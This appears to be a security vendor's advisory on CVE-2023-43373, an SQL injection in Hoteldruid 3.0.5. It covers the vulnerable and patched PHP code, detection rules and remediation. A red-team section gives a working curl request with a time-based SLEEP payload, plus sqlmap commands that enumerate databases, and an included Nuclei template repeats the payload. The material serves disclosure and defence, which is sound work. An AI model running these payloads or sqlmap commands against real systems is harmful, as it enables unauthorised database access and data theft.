CVE-2023-43373

Executive Summary

CVE-2023-43373 is a critical SQL injection vulnerability discovered in Hoteldruid v3.0.5, specifically within the /hoteldruid/interconnessioni.php endpoint. The vulnerability resides in the n_utente_agg parameter, which is not properly sanitized before being used in SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and in some cases, remote code execution via database functions. The vulnerability has a CVSS score of 9.8 (Critical) and is actively being weaponized in automated scanning campaigns.

Supply Chain & Package Security

Hoteldruid is a PHP-based hotel management application. While not distributed via NPM, PyPI, Go, or Ruby, it is often deployed as a standalone PHP application. The lack of a vendor-supplied patch means that organizations must rely on manual code fixes or Web Application Firewall (WAF) rules to mitigate the risk. The vulnerability is trivial to exploit and has a public proof-of-concept (PoC) available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Ability to modify or delete data.
• Availability Impact: High (A:H) – Potential for denial of service via heavy queries or database corruption.

Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and is actively being scanned for by automated tools (e.g., Nuclei). The EPSS score of 0.17195 (95th percentile) indicates a high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the n_utente_agg parameter of the interconnessioni.php script. The application takes user input from a POST request and directly concatenates it into a SQL query without proper sanitization or parameterized queries.

Vulnerable Code Path (Conceptual):

$n_utente_agg = $_POST['n_utente_agg'];
$query = "SELECT * FROM utenti WHERE id = '$n_utente_agg'";
$result = mysqli_query($conn, $query);

The attacker can inject SQL commands by providing a crafted value such as:

1' AND (SELECT 3869 FROM (SELECT(SLEEP(7)))qSXB)-- QMbZ

This payload uses a time-based blind SQL injection technique. The SLEEP(7) function causes the database to pause for 7 seconds, allowing the attacker to infer the success of the injection based on response time. The -- comment sequence removes the rest of the original query.

Attack Flow:

1. The attacker sends a POST request to /interconnessioni.php with the malicious payload in the n_utente_agg parameter.
2. The application constructs a SQL query using the unsanitized input.
3. The database executes the injected SQL, which includes the SLEEP(7) function.
4. The attacker observes a 7-second delay in the HTTP response, confirming the vulnerability.
5. The attacker can then extract data using more sophisticated blind SQL injection techniques (e.g., extracting characters via ASCII() and SUBSTRING()).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$n_utente_agg = $_POST['n_utente_agg'];
$query = "SELECT * FROM utenti WHERE id = '$n_utente_agg'";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

$n_utente_agg = $_POST['n_utente_agg'];
$stmt = $conn->prepare("SELECT * FROM utenti WHERE id = ?");
$stmt->bind_param("s", $n_utente_agg);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries. The ? placeholder is replaced with the user input in a safe manner, preventing SQL injection. The bind_param function ensures that the input is treated as a string literal, not as executable SQL code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of Hoteldruid v3.0.5 (e.g., a local Docker container or a test VM).
• Tools: curl, sqlmap, or a custom Python script.

Step-by-Step Exploitation:

1. Verify the vulnerability using a time-based payload:

   curl -X POST http://target/hoteldruid/interconnessioni.php \
     -H "Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw" \
     --data-binary $'------------YWJkMTQzNDcw\r\nContent-Disposition: form-data; name="anno"\r\n\r\n2023\r\n------------YWJkMTQzNDcw\r\nContent-Disposition: form-data; name="id_sessione"\r\n\r\n\r\n------------YWJkMTQzNDcw\r\nContent-Disposition: form-data; name="modifica_interconnessione"\r\n\r\nSI\r\n------------YWJkMTQzNDcw\r\nContent-Disposition: form-data; name="modifica_utente_agg"\r\n\r\nSI\r\n------------YWJkMTQzNDcw\r\nContent-Disposition: form-data; name="n_utente_agg"\r\n\r\n1\' AND (SELECT 3869 FROM (SELECT(SLEEP(7)))qSXB)-- QMbZ\r\n------------YWJkMTQzNDcw--'
   

2. Automated exploitation with sqlmap:

   sqlmap -u "http://target/hoteldruid/interconnessioni.php" \
     --data "anno=2023&id_sessione=&modifica_interconnessione=SI&modifica_utente_agg=SI&n_utente_agg=1" \
     --batch --dbs
   

3. Extract data (e.g., database names):

   sqlmap -u "http://target/hoteldruid/interconnessioni.php" \
     --data "anno=2023&id_sessione=&modifica_interconnessione=SI&modifica_utente_agg=SI&n_utente_agg=1" \
     --batch --dbs --threads=10
   

Blue Team

Detection and Response:

1. Monitor for suspicious POST requests to /interconnessioni.php:

   • Look for unusual parameters or payloads containing SQL keywords (e.g., SLEEP, AND, OR, UNION).
   • Alert on response times exceeding normal thresholds (e.g., >5 seconds).

2. Web Application Firewall (WAF) Rules:

   • Block requests containing SLEEP or BENCHMARK functions in POST parameters.
   • Enforce strict input validation on the n_utente_agg parameter (allow only numeric values).

3. Database Monitoring:

   • Enable query logging and monitor for anomalous SQL queries.
   • Set up alerts for queries that take an unusually long time to execute.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /hoteldruid/interconnessioni.php with the n_utente_agg parameter containing SQL keywords.
  • HTTP responses with a delay of 7 seconds or more (time-based blind injection).
  • User-Agent strings associated with automated scanning tools (e.g., sqlmap, Nuclei).

• File System IOCs:

  • Unusual files in the web root (e.g., webshells uploaded via INTO OUTFILE).
  • Modified or deleted database backup files.

• Database IOCs:

  • New or modified database users with elevated privileges.
  • Unusual queries in the database logs (e.g., SELECT * FROM mysql.user).

Detection Engineering

YARA Rule

rule CVE_2023_43373_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-43373 in Hoteldruid"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-43373"
    strings:
        $sqli_payload = /n_utente_agg=.*(?:SLEEP|BENCHMARK|AND|OR|UNION|SELECT|DROP|INSERT|UPDATE|DELETE)/i
        $sqli_comment = /--/
        $sqli_quote = /'/
    condition:
        $sqli_payload and ($sqli_comment or $sqli_quote)
}

Sigma Rule

title: CVE-2023-43373 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Hoteldruid v3.0.5 via the n_utente_agg parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/hoteldruid/interconnessioni.php'
        cs-uri-query|contains|all:
            - 'n_utente_agg='
            - 'SLEEP'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of the word "SLEEP" in a non-SQL context (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-43373 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/hoteldruid/interconnessioni.php"; http_uri; content:"n_utente_agg="; http_client_body; content:"SLEEP"; http_client_body; content:"--"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-43373

info:
  name: Hoteldruid v3.0.5 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Hoteldruid v3.0.5 was discovered to contain a SQL injection vulnerability via the n_utente_agg parameter at /hoteldruid/interconnessioni.php.
  impact: |
    Allows attackers to execute arbitrary SQL queries and potentially gain unauthorized access to the database.
  remediation: |
    Update Hoteldruid to a patched version or apply vendor-supplied fixes to mitigate the SQL Injection vulnerability.
  reference:
    - https://flashy-lemonade-192.notion.site/SQL-injection-in-hoteldruid-version-3-0-5-via-n_utente_agg-parameter-948a6d724b5348f3867ee6d780f98f1a
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43373
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43373
    cwe-id: CWE-89
    epss-score: 0.17195
    epss-percentile: 0.95037
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    fofa-query: title="hoteldruid"
    shodan-query: title:"hoteldruid"
  tags: cve,cve2023,hoteldruid,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "hoteldruid")'
        internal: true

  - raw:
      - |
        POST /interconnessioni.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw

        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="anno"

        2023
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="id_sessione"


        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="modifica_interconnessione"

        SI
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="modifica_utente_agg"

        SI
        ------------YWJkMTQzNDcw
        Content-Disposition: form-data; name="n_utente_agg"

        1' AND (SELECT 3869 FROM (SELECT(SLEEP(7)))qSXB)-- QMbZ
        ------------YWJkMTQzNDcw--

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100e6325a34d3f194a158d3594a21776414ad1ffa82a0d965e03eb10b789bfb276402203f09a4eb93efdf597632e7a4c171f5c8143ab67a6ecf6e0ee3d8aa40e39e8061:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Restrict the n_utente_agg parameter to accept only numeric values. Reject any input containing SQL keywords or special characters.
2. Use Prepared Statements: Rewrite the vulnerable code to use parameterized queries (PDO or MySQLi prepared statements).
3. Deploy WAF Rules: Block requests containing SLEEP, BENCHMARK, UNION, SELECT, DROP, INSERT, UPDATE, or DELETE in POST parameters.
4. Update Hoteldruid: Monitor the vendor's website for a patched version. If no patch is available, consider migrating to an alternative solution.

Long-Term Measures:

1. Regular Security Audits: Conduct periodic code reviews and penetration tests.
2. Principle of Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., no FILE or CREATE privileges).
3. Web Application Firewall: Implement a WAF (e.g., ModSecurity) with OWASP Core Rule Set.
4. Monitoring and Alerting: Set up alerts for anomalous database queries and HTTP response times.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: 9454281EBE956B26CE74BB55] */}